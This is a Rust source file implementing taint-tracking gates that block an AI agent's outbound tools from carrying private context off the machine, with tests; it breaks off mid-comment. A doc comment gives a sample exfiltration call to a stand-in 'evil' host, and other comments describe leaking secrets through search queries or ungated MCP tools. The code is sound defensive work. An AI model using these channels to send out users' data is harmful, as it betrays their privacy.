Skip to main content

leviath_core/
taint.rs

1//! Context taint tracking types for security gating.
2//!
3//! Every piece of data entering a context region carries a sensitivity tag.
4//! When an agent attempts an outbound action, the system checks whether
5//! the data flowing into that action exceeds the tool's clearance level.
6//! Taint levels are deterministic - set by the runtime based on tool
7//! declarations and user policy, never by model output.
8
9use serde::{Deserialize, Serialize};
10use std::fmt;
11
12/// Sensitivity level for data in context regions.
13///
14/// Ordered from least to most sensitive. When compared, higher sensitivity
15/// levels are "greater than" lower ones.
16#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
17pub enum TaintLevel {
18    /// Freely shareable. Web search results, public documentation, open-source code.
19    Public,
20    /// Work-related but not personal. Private repo code, internal docs, team discussions.
21    #[default]
22    Internal,
23    /// Personal or highly sensitive. Calendar, messages, contacts, financial data.
24    Private,
25}
26
27impl TaintLevel {
28    /// Returns the numeric rank of this taint level for ordering purposes.
29    fn rank(self) -> u8 {
30        match self {
31            TaintLevel::Public => 0,
32            TaintLevel::Internal => 1,
33            TaintLevel::Private => 2,
34        }
35    }
36
37    /// Returns the maximum of two taint levels.
38    pub fn max(self, other: TaintLevel) -> TaintLevel {
39        if self >= other { self } else { other }
40    }
41
42    /// Parse a taint level from a string (case-insensitive).
43    pub fn from_str_loose(s: &str) -> Option<TaintLevel> {
44        match s.to_lowercase().as_str() {
45            "public" => Some(TaintLevel::Public),
46            "internal" => Some(TaintLevel::Internal),
47            "private" => Some(TaintLevel::Private),
48            _ => None,
49        }
50    }
51
52    /// Returns the string representation used in TOML config.
53    pub fn as_str(self) -> &'static str {
54        match self {
55            TaintLevel::Public => "public",
56            TaintLevel::Internal => "internal",
57            TaintLevel::Private => "private",
58        }
59    }
60}
61
62impl PartialOrd for TaintLevel {
63    fn partial_cmp(&self, other: &Self) -> Option<std::cmp::Ordering> {
64        Some(self.cmp(other))
65    }
66}
67
68impl Ord for TaintLevel {
69    fn cmp(&self, other: &Self) -> std::cmp::Ordering {
70        self.rank().cmp(&other.rank())
71    }
72}
73
74impl fmt::Display for TaintLevel {
75    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
76        f.write_str(self.as_str())
77    }
78}
79
80/// Direction of a tool's data flow.
81#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
82pub enum ToolDirection {
83    /// Tool brings data into the agent (e.g., read_file, web_search).
84    Inbound,
85    /// Tool operates locally within the agent (e.g., write_file, ask_user).
86    #[default]
87    Internal,
88    /// Tool sends data outside the agent (e.g., send_email, post_to_slack).
89    Outbound,
90}
91
92impl ToolDirection {
93    /// Parse from a string (case-insensitive).
94    pub fn from_str_loose(s: &str) -> Option<ToolDirection> {
95        match s.to_lowercase().as_str() {
96            "inbound" => Some(ToolDirection::Inbound),
97            "internal" => Some(ToolDirection::Internal),
98            "outbound" => Some(ToolDirection::Outbound),
99            _ => None,
100        }
101    }
102
103    /// Returns the string representation used in TOML config.
104    pub fn as_str(self) -> &'static str {
105        match self {
106            ToolDirection::Inbound => "inbound",
107            ToolDirection::Internal => "internal",
108            ToolDirection::Outbound => "outbound",
109        }
110    }
111}
112
113impl fmt::Display for ToolDirection {
114    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
115        f.write_str(self.as_str())
116    }
117}
118
119/// Classification of a tool for taint tracking purposes.
120///
121/// Each tool declares its sensitivity (output taint level), direction
122/// (inbound/internal/outbound), and clearance (max taint level allowed
123/// for outbound operations).
124#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
125pub struct ToolClassification {
126    /// Sensitivity of the tool's output (what taint level its results carry).
127    pub sensitivity: TaintLevel,
128    /// Direction of data flow.
129    pub direction: ToolDirection,
130    /// Maximum taint level this tool can accept for outbound operations.
131    /// Only meaningful when direction is Outbound.
132    pub clearance: TaintLevel,
133}
134
135impl ToolClassification {
136    /// Create a new tool classification.
137    pub fn new(sensitivity: TaintLevel, direction: ToolDirection, clearance: TaintLevel) -> Self {
138        Self {
139            sensitivity,
140            direction,
141            clearance,
142        }
143    }
144
145    /// Returns true if this tool is outbound (sends data outside the agent).
146    pub fn is_outbound(&self) -> bool {
147        self.direction == ToolDirection::Outbound
148    }
149
150    /// Check whether the given taint level passes this tool's gate.
151    /// Returns true if the taint level is within clearance (taint <= clearance).
152    /// Non-outbound tools always pass.
153    pub fn check_clearance(&self, taint: TaintLevel) -> bool {
154        if !self.is_outbound() {
155            return true;
156        }
157        taint <= self.clearance
158    }
159}
160
161impl Default for ToolClassification {
162    fn default() -> Self {
163        Self {
164            sensitivity: TaintLevel::Internal,
165            direction: ToolDirection::Internal,
166            clearance: TaintLevel::Public,
167        }
168    }
169}
170
171/// Taint tracking state for a single region.
172///
173/// Tracks the current maximum taint level across all content in the region,
174/// along with per-entry source tracking to support taint recovery on eviction.
175#[derive(Debug, Clone, Serialize, Deserialize)]
176pub struct RegionTaint {
177    /// Current maximum taint level in this region.
178    current_level: TaintLevel,
179    /// Per-entry taint levels, indexed in the same order as region content entries.
180    entry_taints: Vec<TaintLevel>,
181}
182
183impl RegionTaint {
184    /// Create a new RegionTaint defaulting to Public (no tainted data).
185    pub fn new() -> Self {
186        Self {
187            current_level: TaintLevel::Public,
188            entry_taints: Vec::new(),
189        }
190    }
191
192    /// Get the current taint level of this region.
193    pub fn level(&self) -> TaintLevel {
194        self.current_level
195    }
196
197    /// Record that a new entry was added with the given taint level.
198    /// Updates the region's current taint level if necessary.
199    pub fn add_entry(&mut self, taint: TaintLevel) {
200        self.entry_taints.push(taint);
201        self.current_level = self.current_level.max(taint);
202    }
203
204    /// Record that the oldest entry was removed (e.g., sliding window eviction).
205    /// Recomputes taint from remaining entries.
206    pub fn remove_oldest(&mut self) {
207        if !self.entry_taints.is_empty() {
208            self.entry_taints.remove(0);
209            self.recompute();
210        }
211    }
212
213    /// Record that the entry at `idx` was removed.
214    /// Recomputes taint from remaining entries.
215    pub fn remove_at(&mut self, idx: usize) {
216        if idx < self.entry_taints.len() {
217            self.entry_taints.remove(idx);
218            self.recompute();
219        }
220    }
221
222    /// Record that all entries were cleared.
223    pub fn clear(&mut self) {
224        self.entry_taints.clear();
225        self.current_level = TaintLevel::Public;
226    }
227
228    /// Recompute the taint level from remaining entries.
229    /// Called after eviction to allow taint recovery.
230    pub fn recompute(&mut self) {
231        self.current_level = self
232            .entry_taints
233            .iter()
234            .copied()
235            .max()
236            .unwrap_or(TaintLevel::Public);
237    }
238
239    /// Get the number of tracked entries.
240    pub fn entry_count(&self) -> usize {
241        self.entry_taints.len()
242    }
243
244    /// Get the taint level of a specific entry by index.
245    /// Rebuild from a persisted list of per-entry taints.
246    ///
247    /// `current_level` is derived rather than stored, so a restored region ends
248    /// up at exactly the level its entries justify - and recovers as they evict,
249    /// the same as one that was never persisted.
250    pub fn from_entry_taints(entry_taints: Vec<TaintLevel>) -> Self {
251        let current_level = entry_taints
252            .iter()
253            .copied()
254            .max()
255            .unwrap_or(TaintLevel::Public);
256        Self {
257            current_level,
258            entry_taints,
259        }
260    }
261
262    pub fn entry_taint(&self, index: usize) -> Option<TaintLevel> {
263        self.entry_taints.get(index).copied()
264    }
265}
266
267impl Default for RegionTaint {
268    fn default() -> Self {
269        Self::new()
270    }
271}
272
273/// Security configuration for taint tracking.
274#[derive(Debug, Clone, Serialize, Deserialize)]
275pub struct SecurityConfig {
276    /// Whether taint tracking is enabled.
277    pub taint_tracking: bool,
278}
279
280impl Default for SecurityConfig {
281    fn default() -> Self {
282        // A present `[security]` block (even empty) means "configure security",
283        // so the struct default is taint-on; a manifest with no block at all
284        // yields `None`, which callers must resolve through
285        // [`resolve_security`]/[`resolve_taint_enabled`] (default off). Do NOT
286        // use `unwrap_or_default()` on an optional agent/global config - that
287        // conflates "no block" with "empty block" and forces taint on
288        // everywhere; cascade through the global setting instead.
289        Self {
290            taint_tracking: true,
291        }
292    }
293}
294
295/// Resolve whether taint tracking is enabled for a stage, cascading
296/// stage → agent → global (default off when nothing is set).
297///
298/// **A blueprint can only turn taint tracking on, never off.** The stage and
299/// agent configs come from `agent.leviath`, so if a manifest could set
300/// `taint_tracking = false` over a user's global `true`, installing an agent
301/// would be enough to disable the machine's data-flow enforcement. A manifest
302/// that wants tracking when the user has it off is still honored - that
303/// direction only tightens.
304pub fn resolve_taint_enabled(
305    global: bool,
306    agent: Option<&SecurityConfig>,
307    stage: Option<&SecurityConfig>,
308) -> bool {
309    let manifest = stage
310        .map(|s| s.taint_tracking)
311        .or_else(|| agent.map(|a| a.taint_tracking));
312    global || manifest.unwrap_or(false)
313}
314
315/// Resolve the effective [`SecurityConfig`] for a stage: the most specific
316/// present config (stage over agent), or a default whose `taint_tracking`
317/// follows the global toggle when neither level configures it.
318///
319/// `taint_tracking` is clamped by [`resolve_taint_enabled`] so the two agree -
320/// a manifest cannot disable what the user enabled.
321pub fn resolve_security(
322    global: bool,
323    agent: Option<&SecurityConfig>,
324    stage: Option<&SecurityConfig>,
325) -> SecurityConfig {
326    let mut resolved = match stage.or(agent) {
327        Some(c) => c.clone(),
328        None => SecurityConfig {
329            taint_tracking: global,
330        },
331    };
332    resolved.taint_tracking = resolve_taint_enabled(global, agent, stage);
333    resolved
334}
335
336/// The shared stage → agent → global cascade behind the system-prompt hint
337/// toggles. A `Some(_)` at a narrower level overrides broader levels; when
338/// neither the stage nor the agent sets it, the global toggle applies. (Same
339/// shape as [`resolve_taint_enabled`], but the global default is on rather than
340/// off, and a manifest may turn a hint off - these are UX knobs, not security.)
341fn resolve_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
342    stage.or(agent).unwrap_or(global)
343}
344
345/// Resolve whether the batch-tool-calls system-prompt hint is enabled for a
346/// stage, cascading stage → agent → global: a `Some(_)` at a narrower level
347/// wins, and an unset pair falls through to the global toggle.
348pub fn resolve_batch_tool_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
349    resolve_hint(global, agent, stage)
350}
351
352/// Resolve whether the platform shell hint is enabled for a stage, cascading
353/// stage → agent → global on the same terms as [`resolve_batch_tool_hint`].
354///
355/// Enabled only decides whether the hint is *eligible*. It is emitted only when
356/// the host platform has something worth saying about its shell and the stage
357/// actually advertises the shell tool, both checked at request-build time.
358pub fn resolve_shell_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
359    resolve_hint(global, agent, stage)
360}
361
362/// Result of a gate check - whether a tool invocation is allowed.
363#[derive(Debug, Clone, PartialEq, Eq)]
364pub enum GateDecision {
365    /// Taint level is within clearance - proceed.
366    Allowed,
367    /// Taint level exceeds clearance - gate fires.
368    Blocked {
369        /// The taint level that caused the block.
370        taint_level: TaintLevel,
371        /// The tool's clearance level.
372        clearance: TaintLevel,
373        /// Names of regions contributing to the taint.
374        source_regions: Vec<String>,
375        /// The tool being invoked.
376        tool_name: String,
377    },
378}
379
380impl GateDecision {
381    /// Returns true if the gate allows the action.
382    pub fn is_allowed(&self) -> bool {
383        matches!(self, GateDecision::Allowed)
384    }
385
386    /// For a `Blocked` decision, the `(taint_level, clearance)` that caused the
387    /// block; `None` for `Allowed`.
388    pub fn blocked_levels(&self) -> Option<(TaintLevel, TaintLevel)> {
389        match self {
390            GateDecision::Blocked {
391                taint_level,
392                clearance,
393                ..
394            } => Some((*taint_level, *clearance)),
395            GateDecision::Allowed => None,
396        }
397    }
398}
399
400/// A single gate event for audit logging.
401#[derive(Debug, Clone, Serialize, Deserialize)]
402pub struct GateEvent {
403    /// Timestamp of the event.
404    pub timestamp: i64,
405    /// Agent that triggered the gate.
406    pub agent_id: String,
407    /// Tool being invoked.
408    pub tool_name: String,
409    /// Taint level at time of check.
410    pub taint_level: TaintLevel,
411    /// Tool's clearance level.
412    pub clearance: TaintLevel,
413    /// Whether the action was allowed.
414    pub allowed: bool,
415    /// How the decision was made.
416    pub decision_source: GateDecisionSource,
417}
418
419/// How a gate decision was reached.
420#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
421pub enum GateDecisionSource {
422    /// Taint was within clearance - automatic allow.
423    AutoAllow,
424    /// Taint exceeded clearance - automatic block, before any user decision.
425    AutoBlock,
426    /// Matched a static allowlist rule.
427    AllowlistRule { rule_index: usize },
428    /// Matched a scripted (Rhai) rule.
429    ScriptedRule { script_name: String },
430    /// User allowed once interactively.
431    UserAllowOnce,
432    /// User created an "always allow" rule.
433    UserAlwaysAllow,
434    /// User denied the action.
435    UserDenied,
436    /// Taint tracking is disabled - automatic allow.
437    TaintDisabled,
438    /// Auto-approved by `--yolo`: the gate would have blocked, but the agent
439    /// runs unattended so enforcement is waived. Recorded (rather than silently
440    /// skipped) so the audit trail still shows the over-cleared call.
441    YoloAutoApprove,
442}
443
444/// Built-in tool classification defaults.
445///
446/// The taint gate only fires on tools classified [`ToolDirection::Outbound`], so
447/// this table decides what data-flow enforcement can see at all. Anything that
448/// can carry bytes off the machine must be outbound: marking **only**
449/// `shell`/`bash` would let a Private-tainted context be exfiltrated by
450/// `web_fetch("https://evil/?d=<secret>")` with taint tracking fully enabled -
451/// along with any MCP tool and any script tool, which an internal/internal
452/// fallback would never gate.
453///
454/// The fallback for an *unknown* tool is outbound too. An unrecognized tool is
455/// usually an MCP or script tool - third-party code reaching a third-party
456/// service - so an internal default would assume the safest case about the
457/// least-known code. Failing closed costs a prompt; failing open costs the data.
458pub fn builtin_tool_classification(tool_name: &str) -> ToolClassification {
459    match tool_name {
460        "read_file" => ToolClassification::new(
461            TaintLevel::Internal,
462            ToolDirection::Inbound,
463            TaintLevel::Public,
464        ),
465        "write_file" => ToolClassification::new(
466            TaintLevel::Internal,
467            ToolDirection::Internal,
468            TaintLevel::Public,
469        ),
470        "edit_file" => ToolClassification::new(
471            TaintLevel::Internal,
472            ToolDirection::Internal,
473            TaintLevel::Public,
474        ),
475        "list_dir" => ToolClassification::new(
476            TaintLevel::Internal,
477            ToolDirection::Inbound,
478            TaintLevel::Public,
479        ),
480        "shell" | "bash" => ToolClassification::new(
481            TaintLevel::Public,
482            ToolDirection::Outbound,
483            TaintLevel::Public,
484        ),
485        // `web_search` sends a *query* the model wrote, so it is not purely
486        // inbound: the query itself is a channel out. Classified outbound so a
487        // Private context cannot be smuggled into a search string.
488        "web_search" | "web_fetch" | "http_get" | "http_post" | "fetch" => ToolClassification::new(
489            TaintLevel::Public,
490            ToolDirection::Outbound,
491            TaintLevel::Public,
492        ),
493        "ask_user_text" | "ask_user_choice" | "ask_user_confirm" | "present_for_review" => {
494            ToolClassification::new(
495                TaintLevel::Internal,
496                ToolDirection::Internal,
497                TaintLevel::Public,
498            )
499        }
500        "spawn_agent" | "check_agent" | "wait_for_agent" | "send_to_agent" | "kill_agent" => {
501            ToolClassification::new(
502                TaintLevel::Internal,
503                ToolDirection::Internal,
504                TaintLevel::Public,
505            )
506        }
507        // An unknown tool is almost always an MCP or Rhai script tool:
508        // third-party code, usually talking to a third-party service. Treat it
509        // as outbound so the gate sees it. `ToolClassification::default()` -
510        // internal/internal - assumed the safest case about the least-known
511        // code, and left every MCP and script tool ungated.
512        _ => ToolClassification::new(
513            TaintLevel::Public,
514            ToolDirection::Outbound,
515            TaintLevel::Public,
516        ),
517    }
518}
519
520#[cfg(test)]
521mod tests {
522    use super::*;
523
524    /// Taint was not persisted at all, so every restart, resume or page-in
525    /// brought a region back `Public` while the gate reported itself armed -
526    /// silently unblocking outbound tools it had been blocking.
527    #[test]
528    fn taint_rebuilds_from_persisted_entries_at_the_highest_level() {
529        let restored = RegionTaint::from_entry_taints(vec![
530            TaintLevel::Public,
531            TaintLevel::Private,
532            TaintLevel::Internal,
533        ]);
534        assert_eq!(restored.level(), TaintLevel::Private);
535        assert_eq!(restored.entry_taint(1), Some(TaintLevel::Private));
536
537        // An empty region is Public, which is also what an older snapshot with
538        // no taint field restores as.
539        assert_eq!(
540            RegionTaint::from_entry_taints(Vec::new()).level(),
541            TaintLevel::Public
542        );
543    }
544
545    // ─── TaintLevel ─────────────────────────────────────────────────────────
546
547    #[test]
548    fn taint_level_ordering() {
549        assert!(TaintLevel::Public < TaintLevel::Internal);
550        assert!(TaintLevel::Internal < TaintLevel::Private);
551        assert!(TaintLevel::Public < TaintLevel::Private);
552    }
553
554    #[test]
555    fn taint_level_equality() {
556        assert_eq!(TaintLevel::Public, TaintLevel::Public);
557        assert_eq!(TaintLevel::Internal, TaintLevel::Internal);
558        assert_eq!(TaintLevel::Private, TaintLevel::Private);
559        assert_ne!(TaintLevel::Public, TaintLevel::Private);
560    }
561
562    #[test]
563    fn taint_level_max() {
564        assert_eq!(
565            TaintLevel::Public.max(TaintLevel::Internal),
566            TaintLevel::Internal
567        );
568        assert_eq!(
569            TaintLevel::Private.max(TaintLevel::Public),
570            TaintLevel::Private
571        );
572        assert_eq!(
573            TaintLevel::Internal.max(TaintLevel::Internal),
574            TaintLevel::Internal
575        );
576    }
577
578    #[test]
579    fn taint_level_default_is_internal() {
580        assert_eq!(TaintLevel::default(), TaintLevel::Internal);
581    }
582
583    #[test]
584    fn taint_level_display() {
585        assert_eq!(format!("{}", TaintLevel::Public), "public");
586        assert_eq!(format!("{}", TaintLevel::Internal), "internal");
587        assert_eq!(format!("{}", TaintLevel::Private), "private");
588    }
589
590    #[test]
591    fn taint_level_from_str_loose() {
592        assert_eq!(
593            TaintLevel::from_str_loose("public"),
594            Some(TaintLevel::Public)
595        );
596        assert_eq!(
597            TaintLevel::from_str_loose("INTERNAL"),
598            Some(TaintLevel::Internal)
599        );
600        assert_eq!(
601            TaintLevel::from_str_loose("Private"),
602            Some(TaintLevel::Private)
603        );
604        assert_eq!(TaintLevel::from_str_loose("unknown"), None);
605    }
606
607    #[test]
608    fn taint_level_as_str() {
609        assert_eq!(TaintLevel::Public.as_str(), "public");
610        assert_eq!(TaintLevel::Internal.as_str(), "internal");
611        assert_eq!(TaintLevel::Private.as_str(), "private");
612    }
613
614    #[test]
615    fn taint_level_serde_roundtrip() {
616        for level in [
617            TaintLevel::Public,
618            TaintLevel::Internal,
619            TaintLevel::Private,
620        ] {
621            let json = serde_json::to_string(&level).unwrap();
622            let back: TaintLevel = serde_json::from_str(&json).unwrap();
623            assert_eq!(level, back);
624        }
625    }
626
627    #[test]
628    fn taint_level_hash() {
629        use std::collections::HashSet;
630        let mut set = HashSet::new();
631        set.insert(TaintLevel::Public);
632        set.insert(TaintLevel::Internal);
633        set.insert(TaintLevel::Private);
634        set.insert(TaintLevel::Public); // duplicate
635        assert_eq!(set.len(), 3);
636    }
637
638    // ─── ToolDirection ──────────────────────────────────────────────────────
639
640    #[test]
641    fn tool_direction_from_str_loose() {
642        assert_eq!(
643            ToolDirection::from_str_loose("inbound"),
644            Some(ToolDirection::Inbound)
645        );
646        assert_eq!(
647            ToolDirection::from_str_loose("OUTBOUND"),
648            Some(ToolDirection::Outbound)
649        );
650        assert_eq!(
651            ToolDirection::from_str_loose("Internal"),
652            Some(ToolDirection::Internal)
653        );
654        assert_eq!(ToolDirection::from_str_loose("nope"), None);
655    }
656
657    #[test]
658    fn tool_direction_default_is_internal() {
659        assert_eq!(ToolDirection::default(), ToolDirection::Internal);
660    }
661
662    #[test]
663    fn tool_direction_display() {
664        assert_eq!(format!("{}", ToolDirection::Inbound), "inbound");
665        assert_eq!(format!("{}", ToolDirection::Internal), "internal");
666        assert_eq!(format!("{}", ToolDirection::Outbound), "outbound");
667    }
668
669    #[test]
670    fn tool_direction_serde_roundtrip() {
671        for dir in [
672            ToolDirection::Inbound,
673            ToolDirection::Internal,
674            ToolDirection::Outbound,
675        ] {
676            let json = serde_json::to_string(&dir).unwrap();
677            let back: ToolDirection = serde_json::from_str(&json).unwrap();
678            assert_eq!(dir, back);
679        }
680    }
681
682    // ─── ToolClassification ────────────────────────────────────────────────
683
684    #[test]
685    fn tool_classification_default() {
686        let tc = ToolClassification::default();
687        assert_eq!(tc.sensitivity, TaintLevel::Internal);
688        assert_eq!(tc.direction, ToolDirection::Internal);
689        assert_eq!(tc.clearance, TaintLevel::Public);
690    }
691
692    #[test]
693    fn tool_classification_outbound_check() {
694        let tc = ToolClassification::new(
695            TaintLevel::Public,
696            ToolDirection::Outbound,
697            TaintLevel::Internal,
698        );
699        assert!(tc.is_outbound());
700        assert!(tc.check_clearance(TaintLevel::Public));
701        assert!(tc.check_clearance(TaintLevel::Internal));
702        assert!(!tc.check_clearance(TaintLevel::Private));
703    }
704
705    #[test]
706    fn tool_classification_non_outbound_always_passes() {
707        let tc = ToolClassification::new(
708            TaintLevel::Private,
709            ToolDirection::Inbound,
710            TaintLevel::Public, // clearance is irrelevant for non-outbound
711        );
712        assert!(!tc.is_outbound());
713        assert!(tc.check_clearance(TaintLevel::Private));
714    }
715
716    #[test]
717    fn tool_classification_serde_roundtrip() {
718        let tc = ToolClassification::new(
719            TaintLevel::Private,
720            ToolDirection::Outbound,
721            TaintLevel::Internal,
722        );
723        let json = serde_json::to_string(&tc).unwrap();
724        let back: ToolClassification = serde_json::from_str(&json).unwrap();
725        assert_eq!(tc, back);
726    }
727
728    // ─── RegionTaint ───────────────────────────────────────────────────────
729
730    #[test]
731    fn region_taint_starts_public() {
732        let rt = RegionTaint::new();
733        assert_eq!(rt.level(), TaintLevel::Public);
734        assert_eq!(rt.entry_count(), 0);
735    }
736
737    #[test]
738    fn region_taint_add_entry_raises_level() {
739        let mut rt = RegionTaint::new();
740        rt.add_entry(TaintLevel::Internal);
741        assert_eq!(rt.level(), TaintLevel::Internal);
742        rt.add_entry(TaintLevel::Private);
743        assert_eq!(rt.level(), TaintLevel::Private);
744    }
745
746    #[test]
747    fn region_taint_add_public_doesnt_lower() {
748        let mut rt = RegionTaint::new();
749        rt.add_entry(TaintLevel::Private);
750        rt.add_entry(TaintLevel::Public);
751        assert_eq!(rt.level(), TaintLevel::Private);
752    }
753
754    #[test]
755    fn region_taint_remove_oldest_recovers() {
756        let mut rt = RegionTaint::new();
757        rt.add_entry(TaintLevel::Private);
758        rt.add_entry(TaintLevel::Public);
759        assert_eq!(rt.level(), TaintLevel::Private);
760
761        rt.remove_oldest(); // removes Private entry
762        assert_eq!(rt.level(), TaintLevel::Public);
763    }
764
765    #[test]
766    fn region_taint_remove_oldest_empty() {
767        let mut rt = RegionTaint::new();
768        rt.remove_oldest(); // no-op
769        assert_eq!(rt.level(), TaintLevel::Public);
770    }
771
772    #[test]
773    fn region_taint_clear() {
774        let mut rt = RegionTaint::new();
775        rt.add_entry(TaintLevel::Private);
776        rt.add_entry(TaintLevel::Internal);
777        rt.clear();
778        assert_eq!(rt.level(), TaintLevel::Public);
779        assert_eq!(rt.entry_count(), 0);
780    }
781
782    #[test]
783    fn region_taint_recompute() {
784        let mut rt = RegionTaint::new();
785        rt.add_entry(TaintLevel::Private);
786        rt.add_entry(TaintLevel::Internal);
787        rt.add_entry(TaintLevel::Public);
788        assert_eq!(rt.entry_count(), 3);
789
790        // Simulate eviction of first entry
791        rt.remove_oldest();
792        assert_eq!(rt.level(), TaintLevel::Internal);
793        assert_eq!(rt.entry_count(), 2);
794    }
795
796    #[test]
797    fn region_taint_entry_taint() {
798        let mut rt = RegionTaint::new();
799        rt.add_entry(TaintLevel::Public);
800        rt.add_entry(TaintLevel::Private);
801        assert_eq!(rt.entry_taint(0), Some(TaintLevel::Public));
802        assert_eq!(rt.entry_taint(1), Some(TaintLevel::Private));
803        assert_eq!(rt.entry_taint(2), None);
804    }
805
806    #[test]
807    fn region_taint_default() {
808        let rt = RegionTaint::default();
809        assert_eq!(rt.level(), TaintLevel::Public);
810    }
811
812    #[test]
813    fn region_taint_serde_roundtrip() {
814        let mut rt = RegionTaint::new();
815        rt.add_entry(TaintLevel::Internal);
816        rt.add_entry(TaintLevel::Private);
817        let json = serde_json::to_string(&rt).unwrap();
818        let back: RegionTaint = serde_json::from_str(&json).unwrap();
819        assert_eq!(back.level(), TaintLevel::Private);
820        assert_eq!(back.entry_count(), 2);
821    }
822
823    // ─── SecurityConfig ─────────────────────────────────────────────────────
824
825    #[test]
826    fn security_config_default() {
827        let sc = SecurityConfig::default();
828        assert!(sc.taint_tracking);
829    }
830
831    #[test]
832    fn security_config_serde_roundtrip() {
833        let sc = SecurityConfig {
834            taint_tracking: false,
835        };
836        let json = serde_json::to_string(&sc).unwrap();
837        let back: SecurityConfig = serde_json::from_str(&json).unwrap();
838        assert!(!back.taint_tracking);
839    }
840
841    // ─── GateDecision ───────────────────────────────────────────────────────
842
843    #[test]
844    fn gate_decision_allowed() {
845        let d = GateDecision::Allowed;
846        assert!(d.is_allowed());
847    }
848
849    #[test]
850    fn gate_decision_blocked() {
851        let d = GateDecision::Blocked {
852            taint_level: TaintLevel::Private,
853            clearance: TaintLevel::Public,
854            source_regions: vec!["conversation".into()],
855            tool_name: "send_email".into(),
856        };
857        assert!(!d.is_allowed());
858    }
859
860    // ─── GateEvent ──────────────────────────────────────────────────────────
861
862    #[test]
863    fn gate_event_serde_roundtrip() {
864        let event = GateEvent {
865            timestamp: 1234567890,
866            agent_id: "agent-1".into(),
867            tool_name: "send_email".into(),
868            taint_level: TaintLevel::Private,
869            clearance: TaintLevel::Public,
870            allowed: false,
871            decision_source: GateDecisionSource::UserDenied,
872        };
873        let json = serde_json::to_string(&event).unwrap();
874        let back: GateEvent = serde_json::from_str(&json).unwrap();
875        assert_eq!(back.agent_id, "agent-1");
876        assert!(!back.allowed);
877    }
878
879    #[test]
880    fn gate_decision_source_variants() {
881        let sources = vec![
882            GateDecisionSource::AutoAllow,
883            GateDecisionSource::AllowlistRule { rule_index: 0 },
884            GateDecisionSource::ScriptedRule {
885                script_name: "test.rhai".into(),
886            },
887            GateDecisionSource::UserAllowOnce,
888            GateDecisionSource::UserAlwaysAllow,
889            GateDecisionSource::UserDenied,
890            GateDecisionSource::TaintDisabled,
891        ];
892        for src in sources {
893            let json = serde_json::to_string(&src).unwrap();
894            let back: GateDecisionSource = serde_json::from_str(&json).unwrap();
895            assert_eq!(src, back);
896        }
897    }
898
899    // ─── Built-in tool classifications ──────────────────────────────────────
900
901    #[test]
902    fn builtin_read_file_classification() {
903        let tc = builtin_tool_classification("read_file");
904        assert_eq!(tc.sensitivity, TaintLevel::Internal);
905        assert_eq!(tc.direction, ToolDirection::Inbound);
906    }
907
908    #[test]
909    fn builtin_shell_classification() {
910        let tc = builtin_tool_classification("shell");
911        assert_eq!(tc.sensitivity, TaintLevel::Public);
912        assert_eq!(tc.direction, ToolDirection::Outbound);
913        assert_eq!(tc.clearance, TaintLevel::Public);
914
915        // bash alias
916        let tc2 = builtin_tool_classification("bash");
917        assert_eq!(tc2.direction, ToolDirection::Outbound);
918    }
919
920    /// Every tool that can carry bytes off the machine is outbound, which is
921    /// the only direction the gate inspects. `web_search` counts: the *query*
922    /// is model-written, so it is a channel out even though the results come
923    /// back in. Previously only `shell`/`bash` were outbound, so a Private
924    /// context could be exfiltrated through any of these with taint tracking
925    /// fully enabled.
926    #[test]
927    fn network_capable_tools_are_outbound() {
928        for name in ["web_search", "web_fetch", "http_get", "http_post", "fetch"] {
929            let tc = builtin_tool_classification(name);
930            assert_eq!(tc.sensitivity, TaintLevel::Public, "{name}");
931            assert_eq!(tc.direction, ToolDirection::Outbound, "{name}");
932        }
933    }
934
935    #[test]
936    fn builtin_ask_user_classification() {
937        for name in [
938            "ask_user_text",
939            "ask_user_choice",
940            "ask_user_confirm",
941            "present_for_review",
942        ] {
943            let tc = builtin_tool_classification(name);
944            assert_eq!(tc.direction, ToolDirection::Internal);
945        }
946    }
947
948    #[test]
949    fn builtin_subagent_classification() {
950        for name in [
951            "spawn_agent",
952            "check_agent",
953            "wait_for_agent",
954            "send_to_agent",
955            "kill_agent",
956        ] {
957            let tc = builtin_tool_classification(name);
958            assert_eq!(tc.direction, ToolDirection::Internal);
959        }
960    }
961
962    #[test]
963    fn builtin_write_file_classification() {
964        let tc = builtin_tool_classification("write_file");
965        assert_eq!(tc.direction, ToolDirection::Internal);
966    }
967
968    /// An unknown tool is almost always MCP or a Rhai script - third-party code
969    /// talking to a third-party service. It fails closed. The old default was
970    /// internal/internal, which assumed the safest case about the least-known
971    /// code and left every MCP and script tool ungated.
972    #[test]
973    fn unknown_tools_fail_closed_as_outbound() {
974        let tc = builtin_tool_classification("some_mcp_tool");
975        assert_eq!(tc.sensitivity, TaintLevel::Public);
976        assert_eq!(tc.direction, ToolDirection::Outbound);
977        assert_eq!(tc.clearance, TaintLevel::Public);
978    }
979
980    #[test]
981    fn builtin_edit_file_classification() {
982        let tc = builtin_tool_classification("edit_file");
983        assert_eq!(tc.sensitivity, TaintLevel::Internal);
984        assert_eq!(tc.direction, ToolDirection::Internal);
985        assert_eq!(tc.clearance, TaintLevel::Public);
986    }
987
988    #[test]
989    fn builtin_list_dir_classification() {
990        let tc = builtin_tool_classification("list_dir");
991        assert_eq!(tc.sensitivity, TaintLevel::Internal);
992        assert_eq!(tc.direction, ToolDirection::Inbound);
993        assert_eq!(tc.clearance, TaintLevel::Public);
994    }
995
996    // ─── resolve_taint_enabled / resolve_security cascade ───────────────────
997
998    fn sec(taint: bool) -> SecurityConfig {
999        SecurityConfig {
1000            taint_tracking: taint,
1001        }
1002    }
1003
1004    #[test]
1005    fn resolve_taint_enabled_inherits_global_when_unset() {
1006        assert!(!resolve_taint_enabled(false, None, None));
1007        assert!(resolve_taint_enabled(true, None, None));
1008    }
1009
1010    #[test]
1011    fn resolve_taint_enabled_agent_may_opt_in_but_not_out() {
1012        // Global off, agent opts in - honored, that only tightens.
1013        assert!(resolve_taint_enabled(false, Some(&sec(true)), None));
1014        // Global on, agent tries to opt out - refused. `agent.leviath` is a
1015        // downloaded file; letting it disable the machine's data-flow
